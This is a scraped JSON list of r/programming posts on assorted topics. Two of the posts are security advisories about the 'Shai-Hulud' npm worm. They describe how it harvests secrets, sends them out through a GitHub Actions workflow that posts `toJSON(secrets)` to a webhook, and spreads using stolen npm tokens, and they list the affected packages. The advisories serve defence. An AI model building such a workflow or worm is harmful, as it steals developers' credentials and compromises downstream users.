  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dayvster.com/blog/in-defense-of-cpp/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nika5f",
  "url": "https://papers.ssrn.com/sol3/papers.cfm?abstract_id=5425555",
  "permalink": "https://www.reddit.com/r/programming/comments/1nika5f/generative_ai_is_hollowing_out_entrylevel_jobs/",
  "title": "Generative AI is hollowing out entry-level jobs, study finds",
  "body": null,
  "author": "ChiliPepperHott",
  "subreddit": "programming",
  "score": 273,
  "upvoteRatio": 0.88,
  "numComments": 96,
  "createdAt": "2025-09-16T15:14:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://papers.ssrn.com/sol3/papers.cfm?abstract_id=5425555",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1niiz6s",
  "url": "https://newsletter.systemdesign.one/p/11-system-design-concepts-explained",
  "permalink": "https://www.reddit.com/r/programming/comments/1niiz6s/11_system_design_concepts_explained_simply/",
  "title": "11 System Design Concepts Explained, Simply",
  "body": null,
  "author": "sdxyz42",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.54,
  "numComments": 0,
  "createdAt": "2025-09-16T14:25:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.systemdesign.one/p/11-system-design-concepts-explained",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nihrpt",
  "url": "https://www.aikido.dev/blog/s1ngularity-nx-attackers-strike-again",
  "permalink": "https://www.reddit.com/r/programming/comments/1nihrpt/crowdstrike_packages_infected_with_malware_and/",
  "title": "Crowdstrike Packages Infected with Malware (and other 167 packages infected as well)",
  "body": "sigh.... Kinda getting sick of writing these, absolutely insane the pace of supply chain attacks anyway...  \nThe same ThreatActors behind the NX S1ngularity attack have launched a self-replicating worm, it's infected 187 packages and its terrifying.\n\nYesterday a software developer  [Daniel Pereira ](https://www.linkedin.com/in/daniel-pereira-b17a27160/)noticed a weird repo being created.... when he looked into it he was the first to realize that actually [tinycolor ](https://www.npmjs.com/package/@ctrl/tinycolor)was infected with malware. He reached out to multiple people, no one took him seriously until he reached out to Socket who discovered that [40 packages were compromised](https://socket.dev/blog/tinycolor-supply-chain-attack-affects-40-packages).\n\nFun story, a little concerning but honestly this happens a lot so it's not crazy.... But then it got worse, so much worse.\n\nWhen I woke up, our lead researcher Charlie Erikson had discovered that actually a total of 187 packages were compromised (147 more than Socket had reported) 20 of which were from Crowdstrike.\n\nWhat does the worm do\n\n* **Harvest**: scans the host and CI environment for secrets — process.env, scanning with TruffleHog, and cloud metadata endpoints (AWS/GCP) that return instance/service credentials.\n* **Exfiltrate (1) — GitHub repo**: creates a repo named **Shai-Hulud** under the compromised account and commits a JSON dump containing system info, environment variables, and collected secrets.\n* **Exfiltrate (2) — GitHub Actions → webhook**: drops a workflow `.github/workflows/shai-hulud-workflow.yml` that serializes `${{ toJSON(secrets) }}`, POSTs them to an attacker `webhook[.]site` URL and writes a double-base64 copy into the Actions logs.\n* **Propagate**: uses any valid npm tokens it finds to enumerate and attempt to update packages the compromised maintainer controls (supply-chain propagation).\n* **Amplify**: iterates the victim’s accessible repositories, making them public or adding the workflow/branch that will trigger further runs and leaks.\n\nIts already turned [700 previously private repositories public](https://github.com/search?q=Shai-Hulud+Migration&ref=opensearch&type=repositories&s=updated&o=asc)  This number will go down as they are removed by maintainers\n\nif you remeber the S1ngularity breach this is the exact same type of attacker and 100% the same attackers.\n\nThe questions I have from that attack remain.... I have no idea why they are exfiltrating secrets to Public GitHub repos and not a private C2 servers (other than to cause chaos)\n\nThe malicious versions have since been removed by Crowdstrikes account. Here is a total list of the packages compromised and their versions\n\n\n\n| @ahmedhfarag/ngx-perfect-scrollbar                    | 20.0.20                                                                                                |\n| ----------------------------------------------------- | ------------------------------------------------------------------------------------------------------ |\n| @ahmedhfarag/ngx-virtual-scroller                     | 4.0.4                                                                                                  |\n| @art-ws/common                                        | 2.0.28                                                                                                 |\n| @art-ws/config-eslint                                 | 2.0.4, 2.0.5                                                                                           |\n| @art-ws/config-ts                                     | 2.0.7, 2.0.8                                                                                           |\n| @art-ws/db-context                                    | 2.0.24                                                                                                 |\n| @art-ws/di                                            | 2.0.28, 2.0.32                                                                                         |\n| @art-ws/di-node                                       | 2.0.13                                                                                                 |\n| @art-ws/eslint                                        | 1.0.5, 1.0.6                                                                                           |\n| @art-ws/fastify-http-server                           | 2.0.24, 2.0.27                                                                                         |\n| @art-ws/http-server                                   | 2.0.21, 2.0.25                                                                                         |\n| @art-ws/openapi                                       | 0.1.9, 0.1.12                                                                                          |\n| @art-ws/package-base                                  | 1.0.5, 1.0.6                                                                                           |\n| @art-ws/prettier                                      | 1.0.5, 1.0.6                                                                                           |\n| @art-ws/slf                                           | 2.0.15, 2.0.22                                                                                         |\n| @art-ws/ssl-info                                      | 1.0.9, 1.0.10                                                                                          |\n| @art-ws/web-app                                       | 1.0.3, 1.0.4                                                                                           |\n| @crowdstrike/commitlint                               | 8.1.1, 8.1.2                                                                                           |\n| @crowdstrike/falcon-shoelace                          | 0.4.1, 0.4.2                                                                                           |\n| @crowdstrike/foundry-js                               | 0.19.1, 0.19.2                                                                                         |\n| @crowdstrike/glide-core                               | 0.34.2, 0.34.3                                                                                         |\n| @crowdstrike/logscale-dashboard                       | 1.205.1, 1.205.2                                                                                       |\n| @crowdstrike/logscale-file-editor                     | 1.205.1, 1.205.2                                                                                       |\n| @crowdstrike/logscale-parser-edit                     | 1.205.1, 1.205.2                                                                                       |\n| @crowdstrike/logscale-search                          | 1.205.1, 1.205.2                                                                                       |\n| @crowdstrike/tailwind-toucan-base                     | 5.0.1, 5.0.2                                                                                           |\n| @ctrl/deluge                                          | 7.2.1, 7.2.2                                                                                           |\n| @ctrl/golang-template                                 | 1.4.2, 1.4.3                                                                                           |\n| @ctrl/magnet-link                                     | 4.0.3, 4.0.4                                                                                           |\n| @ctrl/ngx-codemirror                                  | 7.0.1, 7.0.2                                                                                           |\n| @ctrl/ngx-csv                                         | 6.0.1, 6.0.2                                                                                           |\n| @ctrl/ngx-emoji-mart                                  | 9.2.1, 9.2.2                                                                                           |\n| @ctrl/ngx-rightclick                                  | 4.0.1, 4.0.2                                                                                           |\n| @ctrl/qbittorrent                                     | 9.7.1, 9.7.2                                                                                           |\n| @ctrl/react-adsense                                   | 2.0.1, 2.0.2                                                                                           |\n| @ctrl/shared-torrent                                  | 6.3.1, 6.3.2                                                                                           |\n| @ctrl/tinycolor                                       | 4.1.1, 4.1.2                                                                                           |\n| @ctrl/torrent-file                                    | 4.1.1, 4.1.2                                                                                           |\n| @ctrl/transmission                                    | 7.3.1                                                                                                  |\n| @ctrl/ts-base32                                       | 4.0.1, 4.0.2                                                                                           |\n| @hestjs/core                                          | 0.2.1                                                                                                  |\n| @hestjs/cqrs                                          | 0.1.6                                                                                                  |\n| @hestjs/demo                                          | 0.1.2                                                                                                  |\n| @hestjs/eslint-config                                 | 0.1.2                                                                                                  |\n| @hestjs/logger                                        | 0.1.6                                                                                                  |\n| @hestjs/scalar                                        | 0.1.7                                                                                                  |\n| @hestjs/validation                                    | 0.1.6                                                                                                  |\n| @nativescript-community/arraybuffers                  | 1.1.6, 1.1.7, 1.1.8                                                                                    |\n| @nativescript-community/gesturehandler                | 2.0.35                                                                                                 |\n| @nativescript-community/perms                         | 3.0.5, 3.0.6, 3.0.7, 3.0.8                                                                             |\n| @nativescript-community/sqlite                        | 3.5.2, 3.5.3, 3.5.4, 3.5.5                                                                             |\n| @nativescript-community/text                          | 1.6.9, 1.6.10, 1.6.11, 1.6.12                                                                          |\n| @nativescript-community/typeorm                       | 0.2.30, 0.2.31, 0.2.32, 0.2.33                                                                         |\n| @nativescript-community/ui-collectionview             | 6.0.6                                                                                                  |\n| @nativescript-community/ui-document-picker            | 1.1.27, 1.1.28                                                                                         |\n| @nativescript-community/ui-drawer                     | 0.1.30                                                                                                 |\n| @nativescript-community/ui-image                      | 4.5.6                                                                                                  |\n| @nativescript-community/ui-label                      | 1.3.35, 1.3.36, 1.3.37                                                                                 |\n| @nativescript-community/ui-material-bottom-navigation | 7.2.72, 7.2.73, 7.2.74, 7.2.75                                                                         |\n| @nativescript-community/ui-material-bottomsheet       | 7.2.72                                                                                                 |\n| @nativescript-community/ui-material-core              | 7.2.72, 7.2.73, 7.2.74, 7.2.75                                                                         |\n| @nativescript-community/ui-material-core-tabs         | 7.2.72, 7.2.73, 7.2.74, 7.2.75                                                                         |\n| @nativescript-community/ui-material-ripple            | 7.2.72, 7.2.73, 7.2.74, 7.2.75                                                                         |\n| @nativescript-community/ui-material-tabs              | 7.2.72, 7.2.73, 7.2.74, 7.2.75                                                                         |\n| @nativescript-community/ui-pager                      | 14.1.36, 14.1.37, 14.1.38                                                                              |\n| @nativescript-community/ui-pulltorefresh              | 2.5.4, 2.5.5, 2.5.6, 2.5.7                                                                             |\n| @nexe/config-manager                                  | 0.1.1                                                                                                  |\n| @nexe/eslint-config                                   | 0.1.1                                                                                                  |\n| @nexe/logger                                          | 0.1.3                                                                                                  |\n| @nstudio/angular                                      | 20.0.4, 20.0.5, 20.0.6                                                                                 |\n| @nstudio/focus                                        | 20.0.4, 20.0.5, 20.0.6                                                                                 |\n| @nstudio/nativescript-checkbox                        | 2.0.6, 2.0.7, 2.0.8, 2.0.9                                                                             |\n| @nstudio/nativescript-loading-indicator               | 5.0.1, 5.0.2, 5.0.3, 5.0.4                                                                             |\n| @nstudio/ui-collectionview                            | 5.1.11, 5.1.12, 5.1.13, 5.1.14                                                                         |\n| @nstudio/web                                          | 20.0.4                                                                                                 |\n| @nstudio/web-angular                                  | 20.0.4                                                                                                 |\n| @nstudio/xplat                                        | 20.0.5, 20.0.6, 20.0.7                                                                                 |\n| @nstudio/xplat-utils                                  | 20.0.5, 20.0.6, 20.0.7                                                                                 |\n| @operato/board                                        | 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46                 |\n| @operato/data-grist                                   | 9.0.29, 9.0.35, 9.0.36, 9.0.37                                                                         |\n| @operato/graphql                                      | 9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46 |\n| @operato/headroom                                     | 9.0.2, 9.0.35, 9.0.36, 9.0.37                                                                          |\n| @operato/help                                         | 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46         |\n| @operato/i18n                                         | 9.0.35, 9.0.36, 9.0.37                                                                                 |\n| @operato/input                                        | 9.0.27, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46 |\n| @operato/layout                                       | 9.0.35, 9.0.36, 9.0.37                                                                                 |\n| @operato/popup                                        | 9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46 |\n| @operato/pull-to-refresh                              | 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42                                                 |\n| @operato/shell                                        | 9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39                                                         |\n| @operato/styles                                       | 9.0.2, 9.0.35, 9.0.36, 9.0.37                                                                          |\n| @operato/utils                                        | 9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46 |\n| @teselagen/bounce-loader                              | 0.3.16, 0.3.17                                                                                         |\n| @teselagen/liquibase-tools                            | 0.4.1                                                                                                  |\n| @teselagen/range-utils                                | 0.3.14, 0.3.15                                                                                         |\n| @teselagen/react-list                                 | 0.8.19, 0.8.20                                                                                         |\n| @teselagen/react-table                                | 6.10.19                                                                                                |\n| @thangved/callback-window                             | 1.1.4                                                                                                  |\n| @things-factory/attachment-base                       | 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50                                         |\n| @things-factory/auth-base                             | 9.0.43, 9.0.44, 9.0.45                                                                                 |\n| @things-factory/email-base                            | 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50, 9.0.51, 9.0.52, 9.0.53, 9.0.54 |\n| @things-factory/env                                   | 9.0.42, 9.0.43, 9.0.44, 9.0.45                                                                         |\n| @things-factory/integration-base                      | 9.0.43, 9.0.44, 9.0.45                                                                                 |\n| @things-factory/integration-marketplace               | 9.0.43, 9.0.44, 9.0.45                                                                                 |\n| @things-factory/shell                                 | 9.0.43, 9.0.44, 9.0.45                                                                                 |\n| @tnf-dev/api                                          | 1.0.8                                                                                                  |\n| @tnf-dev/core                                         | 1.0.8                                                                                                  |\n| @tnf-dev/js                                           | 1.0.8                                                                                                  |\n| @tnf-dev/mui                                          | 1.0.8                                                                                                  |\n| @tnf-dev/react                                        | 1.0.8                                                                                                  |\n| @ui-ux-gang/devextreme-angular-rpk                    | 24.1.7                                                                                                 |\n| @yoobic/design-system                                 | 6.5.17                                                                                                 |\n| @yoobic/jpeg-camera-es6                               | 1.0.13                                                                                                 |\n| @yoobic/yobi                                          | 8.7.53                                                                                                 |\n| airchief                                              | 0.3.1                                                                                                  |\n| airpilot                                              | 0.8.8                                                                                                  |\n| angulartics2                                          | 14.1.1, 14.1.2                                                                                         |\n| browser-webdriver-downloader                          | 3.0.8                                                                                                  |\n| capacitor-notificationhandler                         | 0.0.2, 0.0.3                                                                                           |\n| capacitor-plugin-healthapp                            | 0.0.2, 0.0.3                                                                                           |\n| capacitor-plugin-ihealth                              | 1.1.8, 1.1.9                                                                                           |\n| capacitor-plugin-vonage                               | 1.0.2, 1.0.3                                                                                           |\n| capacitorandroidpermissions                           | 0.0.4, 0.0.5                                                                                           |\n| config-cordova                                        | 0.8.5                                                                                                  |\n| cordova-plugin-voxeet2                                | 1.0.24                                                                                                 |\n| cordova-voxeet                                        | 1.0.32                                                                                                 |\n| create-hest-app                                       | 0.1.9                                                                                                  |\n| db-evo                                                | 1.1.4, 1.1.5                                                                                           |\n| devextreme-angular-rpk                                | 21.2.8                                                                                                 |\n| ember-browser-services                                | 5.0.2, 5.0.3                                                                                           |\n| ember-headless-form                                   | 1.1.2, 1.1.3                                                                                           |\n| ember-headless-form-yup                               | 1.0.1                                                                                                  |\n| ember-headless-table                                  | 2.1.5, 2.1.6                                                                                           |\n| ember-url-hash-polyfill                               | 1.0.12, 1.0.13                                                                                         |\n| ember-velcro                                          | 2.2.1, 2.2.2                                                                                           |\n| encounter-playground                                  | 0.0.2, 0.0.3, 0.0.4, 0.0.5                                                                             |\n| eslint-config-crowdstrike                             | 11.0.2, 11.0.3                                                                                         |\n| eslint-config-crowdstrike-node                        | 4.0.3, 4.0.4                                                                                           |\n| eslint-config-teselagen                               | 6.1.7                                                                                                  |\n| globalize-rpk                                         | 1.7.4                                                                                                  |\n| graphql-sequelize-teselagen                           | 5.3.8                                                                                                  |\n| html-to-base64-image                                  | 1.0.2                                                                                                  |\n| json-rules-engine-simplified                          | 0.2.1                                                                                                  |\n| jumpgate                                              | 0.0.2                                                                                                  |\n| koa2-swagger-ui                                       | 5.11.1, 5.11.2                                                                                         |\n| mcfly-semantic-release                                | 1.3.1                                                                                                  |\n| mcp-knowledge-base                                    | 0.0.2                                                                                                  |\n| mcp-knowledge-graph                                   | 1.2.1                                                                                                  |\n| mobioffice-cli                                        | 1.0.3                                                                                                  |\n| monorepo-next                                         | 13.0.1, 13.0.2                                                                                         |\n| mstate-angular                                        | 0.4.4                                                                                                  |\n| mstate-cli                                            | 0.4.7                                                                                                  |\n| mstate-dev-react                                      | 1.1.1                                                                                                  |\n| mstate-react                                          | 1.6.5                                                                                                  |\n| ng2-file-upload                                       | 7.0.2, 7.0.3, 8.0.1, 8.0.2, 8.0.3, 9.0.1                                                               |\n| ngx-bootstrap                                         | 18.1.4, 19.0.3, 19.0.4, 20.0.3, 20.0.4, 20.0.5                                                         |\n| ngx-color                                             | 10.0.1, 10.0.2                                                                                         |\n| ngx-toastr                                            | 19.0.1, 19.0.2                                                                                         |\n| ngx-trend                                             | 8.0.1                                                                                                  |\n| ngx-ws                                                | 1.1.5, 1.1.6                                                                                           |\n| oradm-to-gql                                          | 35.0.14, 35.0.15                                                                                       |\n| oradm-to-sqlz                                         | 1.1.2                                                                                                  |\n| ove-auto-annotate                                     | 0.0.9                                                                                                  |\n| pm2-gelf-json                                         | 1.0.4, 1.0.5                                                                                           |\n| printjs-rpk                                           | 1.6.1                                                                                                  |\n| react-complaint-image                                 | 0.0.32                                                                                                 |\n| react-jsonschema-form-conditionals                    | 0.3.18                                                                                                 |\n| remark-preset-lint-crowdstrike                        | 4.0.1, 4.0.2                                                                                           |\n| rxnt-authentication                                   | 0.0.3, 0.0.4, 0.0.5, 0.0.6                                                                             |\n| rxnt-healthchecks-nestjs                              | 1.0.2, 1.0.3, 1.0.4, 1.0.5                                                                             |\n| rxnt-kue                                              | 1.0.4, 1.0.5, 1.0.6, 1.0.7                                                                             |\n| swc-plugin-component-annotate                         | 1.9.1, 1.9.2                                                                                           |\n| tbssnch                                               | 1.0.2                                                                                                  |\n| teselagen-interval-tree                               | 1.1.2                                                                                                  |\n| tg-client-query-builder                               | 2.14.4, 2.14.5                                                                                         |\n| tg-redbird                                            | 1.3.1                                                                                                  |\n| tg-seq-gen                                            | 1.0.9, 1.0.10                                                                                          |\n| thangved-react-grid                                   | 1.0.3                                                                                                  |\n| ts-gaussian                                           | 3.0.5, 3.0.6                                                                                           |\n| ts-imports                                            | 1.0.1, 1.0.2                                                                                           |\n| tvi-cli                                               | 0.1.5                                                                                                  |\n| ve-bamreader                                          | 0.2.6                                                                                                  |\n| ve-editor                                             | 1.0.1                                                                                                  |\n| verror-extra                                          | 6.0.1                                                                                                  |\n| voip-callkit                                          | 1.0.2, 1.0.3                                                                                           |\n| wdio-web-reporter                                     | 0.1.3                                                                                                  |\n| yargs-help-output                                     | 5.0.3                                                                                                  |\n| yoo-styles                                            | 6.0.326  ",
  "author": "Advocatemack",
  "subreddit": "programming",
  "score": 1206,
  "upvoteRatio": 0.98,
  "numComments": 212,
  "createdAt": "2025-09-16T13:39:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.aikido.dev/blog/s1ngularity-nx-attackers-strike-again",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1niehal",
  "url": "https://safedep.io/npm-supply-chain-attack-targeting-maintainers/",
  "permalink": "https://www.reddit.com/r/programming/comments/1niehal/selfreplicating_worm_like_behaviour_in_latest_npm/",
  "title": "Self-replicating worm like behaviour in latest npm Supply Chain Attack",
  "body": "We are investigating another npm supply chain attack. However, this one seems to be particularly interesting. Malicious payload include:\n\n* Credential stealing using `trufflehog` scanning entire filesystem\n* Exposing GitHub private repositories\n* AWS credentials stealing\n\nMost surprisingly, we are observing self-replicating worm like behaviour if npm tokens are found from `.npmrc` and the affected user have packages published to npm.\n\nExposed GitHub repositories can be [searched here](https://github.com/search?q=%22Shai-Hulud+Migration%22&type=repositories&s=updated&o=desc). Take immediate action if you are impacted.\n\nFull technical details [here](https://safedep.io/npm-supply-chain-attack-targeting-maintainers/).",
  "author": "N1ghtCod3r",
  "subreddit": "programming",
  "score": 389,
  "upvoteRatio": 0.95,
  "numComments": 53,
  "createdAt": "2025-09-16T11:10:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/npm-supply-chain-attack-targeting-maintainers/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nhw51a",
  "url": "https://www.lorenstew.art/blog/react-won-by-default/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nhw51a/react_won_by_default_and_its_killing_frontend/",
  "title": "React Won by Default – And It's Killing Frontend Innovation",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 683,
  "upvoteRatio": 0.88,
  "numComments": 213,
  "createdAt": "2025-09-15T19:50:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.lorenstew.art/blog/react-won-by-default/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nhs5ti",
  "url": "https://bogdanthegeek.github.io/blog/projects/vapeserver/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nhs5ti/hosting_a_website_on_a_disposable_vape/",
  "title": "Hosting a website on a disposable vape",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 2535,
  "upvoteRatio": 0.97,
  "numComments": 144,
  "createdAt": "2025-09-15T17:25:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bogdanthegeek.github.io/blog/projects/vapeserver/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nhppah",
  "url": "https://www.reddit.com/r/dataengineering/comments/1nfxgze/how_i_built_a_hash_join_2x_faster_than_duckdb/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nhppah/how_i_built_a_hash_join_2x_faster_than_duckdb/",
  "title": "How I Built a Hash Join 2x Faster Than DuckDB with 400 Lines of Code",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 1,
  "createdAt": "2025-09-15T15:54:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/dataengineering/comments/1nfxgze/how_i_built_a_hash_join_2x_faster_than_duckdb/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nhmaeg",
  "url": "http://www.nothing.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nhmaeg/clean_architecture_isnt_the_problem_misreading/",
  "title": "Clean Architecture isn’t the problem. Misreading the book is.",
  "body": "I think Clean Architecture is mostly misunderstood.\n\nIn my current project (a huge mess of services for public administration), the only real source of truth for business rules is the code itself. The domain is defined vaguely by too many people, so new features often end up **conflicting with existing rules**—not because of implementation bugs, but because the rules themselves clash. But all of this is expected i guess.\n\n**The real pain**: the architecture makes business rules unreadable. Adding a new entity state? No way to know if it breaks something without re-reading tons of code. Automated tests? They’re all full-blown integration tests, take 8 hours to run, so we usually just run a subset and pray.\n\nThis is exactly where Clean Architecture could shine—but I’ve never seen it done right. Most “implementations” I see (in my case in .NET) are just baroque, over-engineered garbage. People throw design patterns everywhere, abuse async/await, don’t even bother with interfaces, and then blame Clean Architecture for being unreadable. No—you just didn’t get the point.\n\n**The actual point** is simple: use polymorphism to isolate business rules. Each rule implements an interface, so you can swap in fakes for tests. Result?\n\n* Change one line → break one unit test (plus the relevant use case integration tests).\n* Add new behavior → just add a new object and wire it up.\n* Tests run in seconds/minutes, not hours.\n\nClean Architecture isn’t universal. If you’re writing 3D graphics, every abstraction may be just overhead. But if you’re drowning in business rules, it’s the only way to avoid shipping landmines straight to production.\n\nSo yeah, people ranting against Clean Code/Architecture in “Casey Muratori wannabe” mode don’t look clever. They just show they’ve never actually seen the point.\n\n**TL;DR:** Clean Architecture isn’t about baroque boilerplate. It’s about isolating business rules so you can test them fast and safely. If your system is rule-heavy, it’s a lifesaver. If not, sure, skip it.",
  "author": "niccololepri",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 69,
  "createdAt": "2025-09-15T13:46:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.nothing.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ngwj0l",
  "url": "https://newsletter.scalablethread.com/p/why-event-driven-systems-are-hard",
  "permalink": "https://www.reddit.com/r/programming/comments/1ngwj0l/why_eventdriven_systems_are_hard/",
  "title": "Why Event-Driven Systems are Hard?",
  "body": null,
  "author": "scalablethread",
  "subreddit": "programming",
  "score": 480,
  "upvoteRatio": 0.89,
  "numComments": 138,
  "createdAt": "2025-09-14T16:58:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.scalablethread.com/p/why-event-driven-systems-are-hard",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ngrh2h",
  "url": "https://github.com/beep8/beep8-sdk",
  "permalink": "https://www.reddit.com/r/programming/comments/1ngrh2h/beep8_running_cc20_on_an_emulated_arm_v4a_cpu/",
  "title": "BEEP-8: Running C/C++20 on an emulated ARM v4a CPU inside the browser",
  "body": "Hi all,\n\nI’ve been experimenting with **BEEP-8**, a Fantasy Console that runs entirely in the browser — but instead of a toy VM, it executes real **ARM v4a machine code**.\n\nWorkflow:\n\n* Write programs in **C or C++20**\n* Compile with **gnuarm gcc** into a ROM image\n* Run it on a **cycle-accurate ARM v4a emulator** (4 MHz, 1 MB RAM / 1 MB ROM) implemented in JavaScript/TypeScript\n\nSystem highlights:\n\n* Lightweight **RTOS kernel** with threads, timers, semaphores, IRQs (via SVC dispatch)\n* **Graphics PPU** in WebGL (sprites, BG layers, single-color polygons)\n* **Sound APU** emulating a Namco C30–style chip in JS\n* Fixed 60 fps, works on PC and smartphones via browser\n\n👉 Live demo: [https://beep8.org](https://beep8.org)\n\n👉 Source (free & open): [https://github.com/beep8/beep8-sdk](https://github.com/beep8/beep8-sdk)\n\n  \nI thought it was neat to see **modern C++ features compiled into ARM binaries running directly inside a browser environment**.  \nCurious to hear what this community thinks — quirky playground, useful educational tool, or something else?",
  "author": "Positive_Board_8086",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.54,
  "numComments": 9,
  "createdAt": "2025-09-14T13:35:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/beep8/beep8-sdk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nglax1",
  "url": "https://strategizeyourcareer.com/p/how-software-engineers-make-productive-decisions",
  "permalink": "https://www.reddit.com/r/programming/comments/1nglax1/how_software_engineers_make_productive_decisions/",
  "title": "How Software Engineers Make Productive Decisions (without slowing the team down)",
  "body": null,
  "author": "strategizeyourcareer",
  "subreddit": "programming",
  "score": 241,
  "upvoteRatio": 0.87,
  "numComments": 23,
  "createdAt": "2025-09-14T07:54:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://strategizeyourcareer.com/p/how-software-engineers-make-productive-decisions",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nga4kg",
  "url": "https://github.com/davidhozic/mujoco-rs/releases",
  "permalink": "https://www.reddit.com/r/programming/comments/1nga4kg/new_mujocors_release_130/",
  "title": "New MuJoCo-rs release: 1.3.0",
  "body": null,
  "author": "Great-Use-3149",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.53,
  "numComments": 0,
  "createdAt": "2025-09-13T22:05:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/davidhozic/mujoco-rs/releases",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ng1yn4",
  "url": "https://theaxolot.wordpress.com/2025/09/10/be-an-agnostic-programmer/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ng1yn4/be_an_agnostic_programmer/",
  "title": "Be An Agnostic Programmer",
  "body": "Hey guys! Back with another article on a topic that's been stewing in the back of my mind for a while. Please enjoy!",
  "author": "The_Axolot",
  "subreddit": "programming",
  "score": 74,
  "upvoteRatio": 0.68,
  "numComments": 58,
  "createdAt": "2025-09-13T16:31:41.000Z",
  "isNsfw": false,
  "flair": null,
